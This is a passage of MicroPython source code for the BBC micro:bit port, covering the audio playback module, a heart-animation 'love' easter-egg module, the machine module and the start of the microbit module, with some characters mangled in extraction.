HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "string.h" extern "C" { #include "gpio_api.h" #include "device.h" #include "nrf_gpio.h" #include "nrf_gpiote.h" #include "nrf_delay.h" #include "lib/ticker.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/obj.h" #include "py/objstr.h" #include "py/mphal.h" #include "py/gc.h" #include "microbit/modmicrobit.h" #include "microbit/modaudio.h" #define TheTimer NRF_TIMER2 #define TheTimer_IRQn TIMER2_IRQn #define TheTimer_Anomaly73_Addr (NRF_TIMER2_BASE + 0xC0C) #define DEBUG_AUDIO 0 #if DEBUG_AUDIO #include #define DEBUG(s) printf s #else #define DEBUG(s) (void)0 #endif static void disable_gpiote(uint8_t channel) { nrf_gpiote_task_configure(channel, 31, NRF_GPIOTE_POLARITY_TOGGLE, NRF_GPIOTE_INITIAL_VALUE_LOW); DEBUG(("GPIOTE disable channel %d\r\n", channel)); nrf_gpiote_te_default(channel); } static void audio_gpiote_init(uint32_t pin, uint8_t channel) { DEBUG(("GPIOTE init. pin %d, channel %d\r\n", pin, channel)); nrf_gpio_pin_clear(pin); nrf_gpio_cfg(pin, NRF_GPIO_PIN_DIR_OUTPUT, NRF_GPIO_PIN_INPUT_DISCONNECT, NRF_GPIO_PIN_NOPULL, NRF_GPIO_PIN_H0H1, NRF_GPIO_PIN_NOSENSE); nrf_gpiote_task_configure(channel, pin, NRF_GPIOTE_POLARITY_TOGGLE, NRF_GPIOTE_INITIAL_VALUE_LOW); nrf_gpiote_task_enable(channel); } static void audio_ppi_disconnect(void) { NRF_PPI->CHEN &= ~30; } /** Initialize the Programmable Peripheral Interconnect peripheral. */ static void audio_ppi_init(uint8_t channel0, uint8_t channel1) { DEBUG(("PPI init. Channels %d, %d\r\n", channel0, channel1)); NRF_TIMER_Type *timer = TheTimer; audio_ppi_disconnect(); /* Attach CLOCK[0] and CLOCK[1] to GPIOTE channel0 * CLOCK[2] and CLOCK[3] to GPIOTE channel1 * Use PPI channels 1-4 (I think 0 is used by twi) */ NRF_PPI->CH[1].EEP = (uint32_t)&timer->EVENTS_COMPARE[0]; NRF_PPI->CH[1].TEP = (uint32_t)&NRF_GPIOTE->TASKS_OUT[channel0]; NRF_PPI->CH[2].EEP = (uint32_t)&timer->EVENTS_COMPARE[1]; NRF_PPI->CH[2].TEP = (uint32_t)&NRF_GPIOTE->TASKS_OUT[channel0]; NRF_PPI->CH[3].EEP = (uint32_t)&timer->EVENTS_COMPARE[2]; NRF_PPI->CH[3].TEP = (uint32_t)&NRF_GPIOTE->TASKS_OUT[channel1]; NRF_PPI->CH[4].EEP = (uint32_t)&timer->EVENTS_COMPARE[3]; NRF_PPI->CH[4].TEP = (uint32_t)&NRF_GPIOTE->TASKS_OUT[channel1]; // Enable PPI channels. NRF_PPI->CHEN |= 30; } /* Start and stop timer 1 including workarounds for Anomaly 73 for Timer * http://www.nordicsemi.com/eng/content/download/29490/494569/file/nRF51822-PAN%20v3.0.pdf */ static inline void timer_stop(void) { TheTimer->TASKS_STOP = 1; *(uint32_t *)TheTimer_Anomaly73_Addr = 0; TheTimer->TASKS_CLEAR = 1; TheTimer->CC[0] = 0xfffc; TheTimer->CC[1] = 0xfffc; TheTimer->CC[2] = 0xfffc; TheTimer->CC[3] = 0xfffc; } static inline void timer_start(void) { *(uint32_t *)TheTimer_Anomaly73_Addr = 1; TheTimer->TASKS_START = 1; } static int32_t previous_value = 0; static int32_t delta = 0; static volatile bool running = false; static bool sample = false; static volatile bool fetcher_ready = true; static bool double_pin = true; static volatile int32_t audio_buffer_read_index; static const microbit_pin_obj_t *pin0 = NULL; static const microbit_pin_obj_t *pin1 = NULL; #define audio_buffer_ptr MP_STATE_PORT(audio_buffer) #define audio_source_iter MP_STATE_PORT(audio_source) void audio_stop(void) { timer_stop(); audio_source_iter = NULL; clear_ticker_callback(0); running = false; previous_value = 0; delta = 0; audio_ppi_disconnect(); disable_gpiote(0); nrf_gpio_pin_write(pin0->name, 0); microbit_obj_pin_free(pin0); if (double_pin) { disable_gpiote(1); nrf_gpio_pin_write(pin1->name, 0); microbit_obj_pin_free(pin1); } } static int32_t audio_ticker(void); #define AUDIO_BUFFER_MASK (AUDIO_BUFFER_SIZE-1) static void init_pin(const microbit_pin_obj_t *p0) { microbit_obj_pin_acquire(p0, microbit_pin_mode_audio_play); pin0 = p0; nrf_gpio_pin_write(pin0->name, 0); audio_gpiote_init(pin0->name, 0); audio_ppi_init(0, 0); double_pin = false; } static void init_pins(const microbit_pin_obj_t *p0, const microbit_pin_obj_t *p1) { microbit_obj_pin_acquire(p1, microbit_pin_mode_audio_play); microbit_obj_pin_acquire(p0, microbit_pin_mode_audio_play); pin0 = p0; pin1 = p1; nrf_gpio_pin_write(pin0->name, 0); nrf_gpio_pin_write(pin1->name, 0); audio_gpiote_init(pin0->name, 0); audio_gpiote_init(pin1->name, 1); audio_ppi_init(0, 1); double_pin = true; } static void audio_data_fetcher(bool lock) { if (audio_source_iter == NULL) { audio_stop(); return; } /* WARNING: We are executing in an interrupt handler. * If an exception is raised here then we must hand it to the VM. */ mp_obj_t buffer_obj; if (lock) gc_lock(); nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { buffer_obj = mp_iternext_allow_raise(audio_source_iter); nlr_pop(); if (lock) gc_unlock(); } else { if (lock) gc_unlock(); if (!mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(((mp_obj_base_t*)nlr.ret_val)->type), MP_OBJ_FROM_PTR(&mp_type_StopIteration))) { // an exception other than StopIteration, so set it for the VM to raise later //If memory error, add appropriate message. mp_obj_exception_t *ex = (mp_obj_exception_t *)nlr.ret_val; if (mp_obj_get_type(nlr.ret_val) == &mp_type_MemoryError) { ex->args = (mp_obj_tuple_t *)mp_obj_new_tuple(1, NULL); ex->args->items[0] = mp_obj_new_str("Allocation in interrupt handler", strlen("Allocation in interrupt handler"), false); } MP_STATE_VM(mp_pending_exception) = MP_OBJ_FROM_PTR(nlr.ret_val); } buffer_obj = MP_OBJ_STOP_ITERATION; } int32_t write_half = ((audio_buffer_read_index>>LOG_AUDIO_CHUNK_SIZE)+1)&1; int32_t *half_buffer = (int32_t*)(((uint8_t *)audio_buffer_ptr) + (write_half<data; half_buffer[0] = data[0]; half_buffer[1] = data[1]; half_buffer[2] = data[2]; half_buffer[3] = data[3]; half_buffer[4] = data[4]; half_buffer[5] = data[5]; half_buffer[6] = data[6]; half_buffer[7] = data[7]; fetcher_ready = true; return; } static void audio_data_fetcher_no_gc(void) { audio_data_fetcher(true); } static void audio_data_fetcher_allow_gc(void) { audio_data_fetcher(false); } #define TICK_PER_SAMPLE (128/MICROSECONDS_PER_TICK) #define FIRST_PHASE_START 4 #define SECOND_PHASE_START ((CYCLES_PER_TICK*TICK_PER_SAMPLE/4)+FIRST_PHASE_START) static inline void set_gpiote_output_pulses(int32_t val1, int32_t val2) { NRF_TIMER_Type *timer = TheTimer; if (double_pin) { //Start with output zero; pins 00 if (val1 < 0) { timer->CC[0] = FIRST_PHASE_START; // -ve 10 timer->CC[2] = FIRST_PHASE_START-val1; // zero 11 } else { timer->CC[2] = FIRST_PHASE_START; // +ve 01 timer->CC[0] = FIRST_PHASE_START+val1; // zero 11 } // Output zero; pins 11. if (val2 < 0) { timer->CC[3] = SECOND_PHASE_START; // -ve 10 timer->CC[1] = SECOND_PHASE_START-val2; // zero 00 } else { timer->CC[1] = SECOND_PHASE_START; // +ve 01 timer->CC[3] = SECOND_PHASE_START+val2; // zero 00 } //End with output zero; pins 00 } else { timer->CC[0] = FIRST_PHASE_START; timer->CC[1] = FIRST_PHASE_START+val1; timer->CC[2] = SECOND_PHASE_START; timer->CC[3] = SECOND_PHASE_START+val2; } timer->TASKS_CLEAR = 1; } static int32_t audio_ticker(void) { int32_t val1 = previous_value + delta; int32_t next_value = val1 + delta; previous_value = next_value; set_gpiote_output_pulses(val1>>4, next_value>>4); if (sample) { int32_t buffer_index = (int32_t)audio_buffer_read_index; buffer_index = (buffer_index+1)&AUDIO_BUFFER_MASK; int32_t next_sample = (int32_t)((uint8_t *)audio_buffer_ptr)[buffer_index]; if (double_pin) { // Convert 0 to 255 to -256 to +254 next_sample = next_sample*2-256; } // Sample is set to 7/4 times the input to scale to output interval of 512 cycles. // Actually mutiplied by 28 to account for divide by 16 when generating pulses. next_sample = next_sample*28+8; audio_buffer_read_index = buffer_index; delta = (next_sample-next_value)>>2; if ((buffer_index&(AUDIO_CHUNK_SIZE-1)) == 0 && fetcher_ready) { fetcher_ready = false; set_low_priority_callback(audio_data_fetcher_no_gc, AUDIO_CALLBACK_ID); } } sample = !sample; /* Need to be triggered twice per sample. */ return TICK_PER_SAMPLE/2; } static void audio_set_pins(mp_obj_t pin0_obj, mp_obj_t pin1_obj) { const microbit_pin_obj_t *p0 = microbit_obj_get_pin(pin0_obj); if (pin1_obj == mp_const_none) { init_pin(p0); } else { const microbit_pin_obj_t *p1 = microbit_obj_get_pin(pin1_obj); init_pins(p0, p1); } } static int32_t pin_read_digital(const microbit_pin_obj_t *pin) { nrf_gpio_cfg_input(pin->name, NRF_GPIO_PIN_NOPULL); // Allow 1µs to settle. nrf_delay_us(1); return nrf_gpio_pin_read(pin->name); } static const microbit_pin_obj_t *big_pins[3] = { µbit_p0_obj, µbit_p1_obj, µbit_p2_obj }; static void audio_auto_set_pins(void) { // Test to see if two of the "big" pins are connected by some sort of resistor. uint32_t i, j, count; bool usable[3]; if (microbit_obj_pin_can_be_acquired(µbit_p0_obj)) { usable[0] = true; microbit_obj_pin_acquire(µbit_p0_obj, microbit_pin_mode_unused); } if (microbit_obj_pin_can_be_acquired(µbit_p1_obj)) { usable[1] = true; microbit_obj_pin_acquire(µbit_p1_obj, microbit_pin_mode_unused); } if (microbit_obj_pin_can_be_acquired(µbit_p2_obj)) { usable[2] = true; microbit_obj_pin_acquire(µbit_p2_obj, microbit_pin_mode_unused); } for (i = 0; i < 2; i++) { if (!usable[i]) continue; const microbit_pin_obj_t *pin1 = big_pins[i]; nrf_gpio_cfg_output(pin1->name); for (j = i+1; j < 3; j++) { if (!usable[j]) continue; const microbit_pin_obj_t *pin2 = big_pins[j]; for (count = 0; count < 4; count++) { nrf_gpio_pin_set(pin1->name); if (pin_read_digital(pin2) != 1) break; nrf_gpio_pin_clear(pin1->name); if (pin_read_digital(pin2) != 0) break; } DEBUG(("Count: %lu\r\n", count)); if (count == 4) { init_pins(pin1, pin2); return; } } } /* Set to default: single pin0 */ audio_set_pins((mp_obj_t)µbit_p0_obj, mp_const_none); } static void audio_init(void) { if (audio_buffer_ptr == NULL) { audio_source_iter = NULL; //Allocate buffer audio_buffer_ptr = m_new(uint8_t, AUDIO_BUFFER_SIZE); } //NRF_CLOCK->TASKS_HFCLKSTART = 1; NVIC_DisableIRQ(TheTimer_IRQn); TheTimer->POWER = 1; NRF_TIMER_Type *timer = TheTimer; timer_stop(); timer->MODE = TIMER_MODE_MODE_Timer; timer->BITMODE = TIMER_BITMODE_BITMODE_16Bit << TIMER_BITMODE_BITMODE_Pos; timer->PRESCALER = 0; //Full speed timer->INTENCLR = TIMER_INTENCLR_COMPARE0_Msk | TIMER_INTENCLR_COMPARE1_Msk | TIMER_INTENCLR_COMPARE2_Msk | TIMER_INTENCLR_COMPARE3_Msk; timer->SHORTS = 0; } void audio_play_source(mp_obj_t src, mp_obj_t pin1, mp_obj_t pin2, bool wait) { if (running) { audio_stop(); } audio_init(); if (pin1 == mp_const_none) { if (pin2 == mp_const_none) { audio_auto_set_pins(); } else { mp_raise_TypeError("cannot set return_pin without pin"); } } else { audio_set_pins(pin1, pin2); } audio_source_iter = mp_getiter(src, NULL); sample = false; fetcher_ready = true; audio_buffer_read_index = AUDIO_BUFFER_SIZE-1; memset(audio_buffer_ptr, 128, AUDIO_BUFFER_SIZE); audio_data_fetcher_allow_gc(); timer_start(); running = true; set_ticker_callback(0, audio_ticker, 80); if (!wait) { return; } while(running) { if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) { return; } __WFE(); } } STATIC mp_obj_t stop() { audio_stop(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(microbit_audio_stop_obj, stop); STATIC mp_obj_t play(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { static const mp_arg_t allowed_args[] = { { MP_QSTR_source, MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} }, { MP_QSTR_wait, MP_ARG_BOOL, {.u_bool = true} }, { MP_QSTR_pin, MP_ARG_OBJ, {.u_obj = mp_const_none } }, { MP_QSTR_return_pin, MP_ARG_OBJ, {.u_obj = mp_const_none } }, }; // parse args mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args); mp_obj_t src = args[0].u_obj; mp_obj_t pin1 = args[2].u_obj; mp_obj_t pin2 = args[3].u_obj; audio_play_source(src, pin1, pin2, args[1].u_bool); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_KW(microbit_audio_play_obj, 0, play); bool microbit_audio_is_playing(void) { return running; } mp_obj_t is_playing(void) { return mp_obj_new_bool(running); } MP_DEFINE_CONST_FUN_OBJ_0(microbit_audio_is_playing_obj, is_playing); microbit_audio_frame_obj_t *new_microbit_audio_frame(void); STATIC mp_obj_t microbit_audio_frame_new(const mp_obj_type_t *type_in, mp_uint_t n_args, mp_uint_t n_kw, const mp_obj_t *args) { (void)type_in; (void)args; mp_arg_check_num(n_args, n_kw, 0, 0, false); return new_microbit_audio_frame(); } STATIC mp_obj_t audio_frame_subscr(mp_obj_t self_in, mp_obj_t index_in, mp_obj_t value_in) { microbit_audio_frame_obj_t *self = (microbit_audio_frame_obj_t *)self_in; mp_int_t index = mp_obj_get_int(index_in); if (index < 0 || index >= AUDIO_CHUNK_SIZE) { mp_raise_ValueError("index out of bounds"); } if (value_in == MP_OBJ_NULL) { // delete mp_raise_TypeError("cannot delete elements of AudioFrame"); } else if (value_in == MP_OBJ_SENTINEL) { // load return MP_OBJ_NEW_SMALL_INT(self->data[index]); } else { mp_int_t value = mp_obj_get_int(value_in); if (value < 0 || value > 255) { mp_raise_ValueError("value out of range"); } self->data[index] = value; return mp_const_none; } } static mp_obj_t audio_frame_unary_op(mp_uint_t op, mp_obj_t self_in) { (void)self_in; switch (op) { case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(32); default: return MP_OBJ_NULL; // op not supported } } static mp_int_t audio_frame_get_buffer(mp_obj_t self_in, mp_buffer_info_t *bufinfo, mp_uint_t flags) { (void)flags; microbit_audio_frame_obj_t *self = (microbit_audio_frame_obj_t *)self_in; bufinfo->buf = self->data; bufinfo->len = AUDIO_CHUNK_SIZE; bufinfo->typecode = 'b'; return 0; } static void add_into(microbit_audio_frame_obj_t *self, microbit_audio_frame_obj_t *other, bool add) { int mult = add ? 1 : -1; for (int i = 0; i < AUDIO_CHUNK_SIZE; i++) { unsigned val = (int)self->data[i] + mult*(other->data[i]-128); // Clamp to 0-255 if (val > 255) { val = (1-(val>>31))*255; } self->data[i] = val; } } static microbit_audio_frame_obj_t *copy(microbit_audio_frame_obj_t *self) { microbit_audio_frame_obj_t *result = new_microbit_audio_frame(); for (int i = 0; i < AUDIO_CHUNK_SIZE; i++) { result->data[i] = self->data[i]; } return result; } mp_obj_t copyfrom(mp_obj_t self_in, mp_obj_t other) { microbit_audio_frame_obj_t *self = (microbit_audio_frame_obj_t *)self_in; mp_buffer_info_t bufinfo; mp_get_buffer_raise(other, &bufinfo, MP_BUFFER_READ); uint32_t len = bufinfo.len > AUDIO_CHUNK_SIZE ? AUDIO_CHUNK_SIZE : bufinfo.len; for (uint32_t i = 0; i < len; i++) { self->data[i] = ((uint8_t *)bufinfo.buf)[i]; } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_2(copyfrom_obj, copyfrom); union _i2f { int32_t bits; float value; }; /* Convert a small float to a fixed-point number */ int32_t float_to_fixed(float f, uint32_t scale) { union _i2f x; x.value = f; int32_t sign = 1-((x.bits>>30)&2); /* Subtract 127 from exponent for IEEE-754 and 23 for mantissa scaling */ int32_t exponent = ((x.bits>>23)&255)-150; /* Mantissa scaled by 2**23, including implicit 1 */ int32_t mantissa = (1<<23) | ((x.bits)&((1<<23)-1)); int32_t shift = scale+exponent; int32_t result; if (shift > 0) { result = sign*(mantissa<>(-shift)); } // printf("Float %f: %d %d %x (scale %d) => %d\n", f, sign, exponent, mantissa, scale, result); return result; } static void mult(microbit_audio_frame_obj_t *self, float f) { int scaled = float_to_fixed(f, 15); for (int i = 0; i < AUDIO_CHUNK_SIZE; i++) { unsigned val = ((((int)self->data[i]-128) * scaled) >> 15)+128; if (val > 255) { val = (1-(val>>31))*255; } self->data[i] = val; } } STATIC mp_obj_t audio_frame_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { if (mp_obj_get_type(lhs_in) != µbit_audio_frame_type) { return MP_OBJ_NULL; // op not supported } microbit_audio_frame_obj_t *lhs = (microbit_audio_frame_obj_t *)lhs_in; switch(op) { case MP_BINARY_OP_ADD: case MP_BINARY_OP_SUBTRACT: lhs = copy(lhs); case MP_BINARY_OP_INPLACE_ADD: case MP_BINARY_OP_INPLACE_SUBTRACT: if (mp_obj_get_type(rhs_in) != µbit_audio_frame_type) { return MP_OBJ_NULL; // op not supported } add_into(lhs, (microbit_audio_frame_obj_t *)rhs_in, op==MP_BINARY_OP_ADD||op==MP_BINARY_OP_INPLACE_ADD); return lhs; case MP_BINARY_OP_MULTIPLY: lhs = copy(lhs); case MP_BINARY_OP_INPLACE_MULTIPLY: mult(lhs, mp_obj_get_float(rhs_in)); return lhs; } return MP_OBJ_NULL; // op not supported } STATIC const mp_map_elem_t microbit_audio_frame_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_copyfrom), (mp_obj_t)©from_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_audio_frame_locals_dict, microbit_audio_frame_locals_dict_table); const mp_obj_type_t microbit_audio_frame_type = { { &mp_type_type }, .name = MP_QSTR_AudioFrame, .print = NULL, .make_new = microbit_audio_frame_new, .call = NULL, .unary_op = audio_frame_unary_op, .binary_op = audio_frame_binary_op, .attr = NULL, .subscr = audio_frame_subscr, .getiter = NULL, .iternext = NULL, .buffer_p = { .get_buffer = audio_frame_get_buffer }, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_audio_frame_locals_dict, }; microbit_audio_frame_obj_t *new_microbit_audio_frame(void) { microbit_audio_frame_obj_t *res = m_new_obj(microbit_audio_frame_obj_t); res->base.type = µbit_audio_frame_type; memset(res->data, 128, AUDIO_CHUNK_SIZE); return res; } STATIC const mp_map_elem_t audio_globals_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_audio) }, { MP_OBJ_NEW_QSTR(MP_QSTR_stop), (mp_obj_t)µbit_audio_stop_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_play), (mp_obj_t)µbit_audio_play_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_is_playing), (mp_obj_t)µbit_audio_is_playing_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_AudioFrame), (mp_obj_t)µbit_audio_frame_type }, }; STATIC MP_DEFINE_CONST_DICT(audio_module_globals, audio_globals_table); const mp_obj_module_t audio_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&audio_module_globals, }; } ================================================ FILE: micropython/source/microbit/modlove.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include extern "C" { #include "py/mphal.h" #include "microbit/modmicrobit.h" #include "microbit/microbit_image.h" static const mp_float_t bright[7] = { 0.0, 1.0/9, 2.0/9, 4.0/9, 6.0/9, 7.0/9, 1.0, }; void love(int interval = 25 /* ms */) { microbit_image_obj_t *hearts[MP_ARRAY_SIZE(bright)]; for (uint i = 0; i < MP_ARRAY_SIZE(bright); i++) { hearts[i] = microbit_image_dim(HEART_IMAGE, bright[i]); } for (int iteration = 0; iteration < 8; iteration++) { // pause between double beats of the heart if (iteration && (iteration & 1) == 0) { mp_hal_delay_ms(20 * interval); } // pulse heart to max brightness for(uint step = 0; step < MP_ARRAY_SIZE(bright); ++step) { microbit_display_show(µbit_display_obj, hearts[step]); mp_hal_delay_ms(interval); } // pulse heart to min brightness for(int step = MP_ARRAY_SIZE(bright) - 1; step >= 0; --step) { microbit_display_show(µbit_display_obj, hearts[step]); mp_hal_delay_ms(interval); } } microbit_display_clear(); } STATIC mp_obj_t love_badaboom(void) { // make love(); // ! war return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(love___init___obj, love_badaboom); MP_DEFINE_CONST_FUN_OBJ_0(love_badaboom_obj, love_badaboom); STATIC const mp_map_elem_t love_module_globals_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_love) }, { MP_OBJ_NEW_QSTR(MP_QSTR___init__), (mp_obj_t)&love___init___obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_badaboom), (mp_obj_t)&love_badaboom_obj }, }; STATIC MP_DEFINE_CONST_DICT(love_module_globals, love_module_globals_table); const mp_obj_module_t love_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&love_module_globals, }; } ================================================ FILE: micropython/source/microbit/modmachine.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpconfig.h" #include "py/obj.h" #include "extmod/machine_mem.h" #include "extmod/machine_pulse.h" #include "microbit/modmicrobit.h" #include "nrf.h" #if MICROPY_PY_MACHINE // Returns a string of 8 bytes (64 bits), which is the unique ID for the MCU STATIC mp_obj_t machine_unique_id(void) { uint32_t dev_id[2]; dev_id[0] = NRF_FICR->DEVICEID[0]; dev_id[1] = NRF_FICR->DEVICEID[1]; return mp_obj_new_bytes((const void*)&dev_id, 8); } MP_DEFINE_CONST_FUN_OBJ_0(machine_unique_id_obj, machine_unique_id); // Get the MCU frequency STATIC mp_obj_t machine_freq(void) { return MP_OBJ_NEW_SMALL_INT(16000000); } MP_DEFINE_CONST_FUN_OBJ_0(machine_freq_obj, machine_freq); // Disable interrupt requests STATIC mp_obj_t machine_disable_irq(void) { uint32_t state = __get_PRIMASK(); __disable_irq(); return mp_obj_new_int(state); } MP_DEFINE_CONST_FUN_OBJ_0(machine_disable_irq_obj, machine_disable_irq); // Enable interrupt requests STATIC mp_obj_t machine_enable_irq(mp_obj_t state_in) { uint32_t state = mp_obj_get_int(state_in); __set_PRIMASK(state); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(machine_enable_irq_obj, machine_enable_irq); STATIC const mp_rom_map_elem_t machine_module_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_machine) }, { MP_ROM_QSTR(MP_QSTR_unique_id), MP_ROM_PTR(&machine_unique_id_obj) }, { MP_ROM_QSTR(MP_QSTR_reset), MP_ROM_PTR(µbit_reset_obj) }, { MP_ROM_QSTR(MP_QSTR_freq), MP_ROM_PTR(&machine_freq_obj) }, { MP_ROM_QSTR(MP_QSTR_disable_irq), MP_ROM_PTR(&machine_disable_irq_obj) }, { MP_ROM_QSTR(MP_QSTR_enable_irq), MP_ROM_PTR(&machine_enable_irq_obj) }, { MP_ROM_QSTR(MP_QSTR_mem8), MP_ROM_PTR(&machine_mem8_obj) }, { MP_ROM_QSTR(MP_QSTR_mem16), MP_ROM_PTR(&machine_mem16_obj) }, { MP_ROM_QSTR(MP_QSTR_mem32), MP_ROM_PTR(&machine_mem32_obj) }, { MP_ROM_QSTR(MP_QSTR_time_pulse_us), MP_ROM_PTR(&machine_time_pulse_us_obj) }, }; STATIC MP_DEFINE_CONST_DICT(machine_module_globals, machine_module_globals_table); const mp_obj_module_t machine_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&machine_module_globals, }; #endif // MICROPY_PY_MACHINE ================================================ FILE: micropython/source/microbit/modmicrobit.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "MicroBitDevice.h" #include "MicroBitSystemTimer.h" extern "C" { #include "py/nlr.h" #include "py/obj.h" #include "py/mphal.h" #include "microbit/modmicrobit.h" STATIC mp_obj_t microbit_reset_(void) { microbit_reset(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(microbit_reset_obj, microbit_reset_); STATIC mp_obj_t microbit_sleep(mp_obj_t ms_in) { mp_int_t ms; if (mp_obj_is_integer(ms_in)) { ms = mp_obj_get_int(ms_in); } else { ms = (mp_int_t)mp_obj_get_float(ms_in); } if (ms > 0) { mp_hal_delay_ms(ms); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_sleep_obj, microbit_sleep); STATIC mp_obj_t microbit_running_time(void) { return MP_OBJ_NEW_SMALL_INT(system_timer_current_time()); } MP_DEFINE_CONST_FUN_OBJ_0(microbit_running_time_obj, microbit_running_time); STATIC mp_obj_t microbit_panic(mp_uint_t n_args, const mp_obj_t *args) { if (n_args == 0) { // TODO the docs don't mention this, so maybe remove it? microbit_panic(999); } else { microbit_panic(mp_obj_get_int(args[0])); } return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_panic_obj, 0, 1, microbit_panic); STATIC mp_obj_t microbit_temperature(void) { NRF_TEMP->TASKS_START = 1; while (NRF_TEMP->EVENTS_DATARDY == 0) { } NRF_TEMP->EVENTS_DATARDY = 0; int32_t temp = NRF_TEMP->TEMP / 4; NRF_TEMP->TASKS_STOP = 1; return mp_obj_new_int(temp); } MP_DEFINE_CONST_FUN_OBJ_0(microbit_temperature_obj, microbit_temperature); STATIC const mp_map_elem_t microbit_module_globals_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_microbit) }, { MP_OBJ_NEW_QSTR(MP_QSTR_Image), (mp_obj_t)µbit_image_type }, { MP_OBJ_NEW_QSTR(MP_QSTR_display), (mp_obj_t)µbit_display_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_button_a), (mp_obj_t)µbit_button_a_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_button_b), (mp_obj_t)µbit_button_b_obj }, { 